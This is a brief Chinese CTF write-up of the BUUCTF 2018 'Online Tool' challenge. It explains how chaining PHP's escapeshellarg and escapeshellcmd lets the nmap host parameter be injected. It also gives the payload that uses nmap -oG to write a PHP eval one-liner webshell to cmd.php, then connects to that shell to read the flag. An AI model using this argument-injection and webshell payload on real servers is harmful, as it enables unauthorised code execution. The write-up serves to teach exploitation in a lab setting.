[BUUCTF 2018] Online Tool

发布于 2021-08-06  64 次阅读


知识点:

两个函数复用造成命令执行。

image-20201207155342383

这是一道nmap的题,看源码 host 传参 使我们可控的 经过两个函数后 MD5加盐编码之后 得到一个新的MD5值 生成一个 新的目录

下一步 查看 那两不认识的函数 作用

escapeshellarg:将参数中的字符串两侧加上',并将其中的'进行转义 然后在两侧加上'达到拼接的目的

escapeshellcmd:将参数中的字符串中间的特殊字符转义,并且将落单的'进行转义

也就是说两个函数连续使用会造成'未被转义,从而触发命令执行

又看到了 生成 新的目录 ,想到 文件 写入 写入 一句话 木马

#正常传参 利用 nmap 写入文件
?host= <?php eval($_PSOT["cmd"]);?> -oG cmd.php
#经过escapeshellarg
?host= '<?php eval($_PSOT["cmd"]);?> -oG cmd.php'
#经过escapeshellcmd
没啥效果,linux会将''里面的当做字符串,不会解析变量(双引号中的变量仍会解析),这样我们的shell就无法写入
#从新传参
?host= '<?php eval($_PSOT["cmd"]);?> -oG cmd.php'
#经过escapeshellarg
?host= '\'<?php eval($_PSOT["cmd"]);?>' '-oG cmd.php\'
#经过escapeshellcmd
?host= ''\\'<?php eval($_PSOT["cmd"]);?>'' ''-oG cmd.php\\''
#简化一下
?host= \<?php eval($_PSOT["cmd"]);?> -oG cmd.php \\''
达到效果

连接菜刀 拿到flag

image-20201207162204951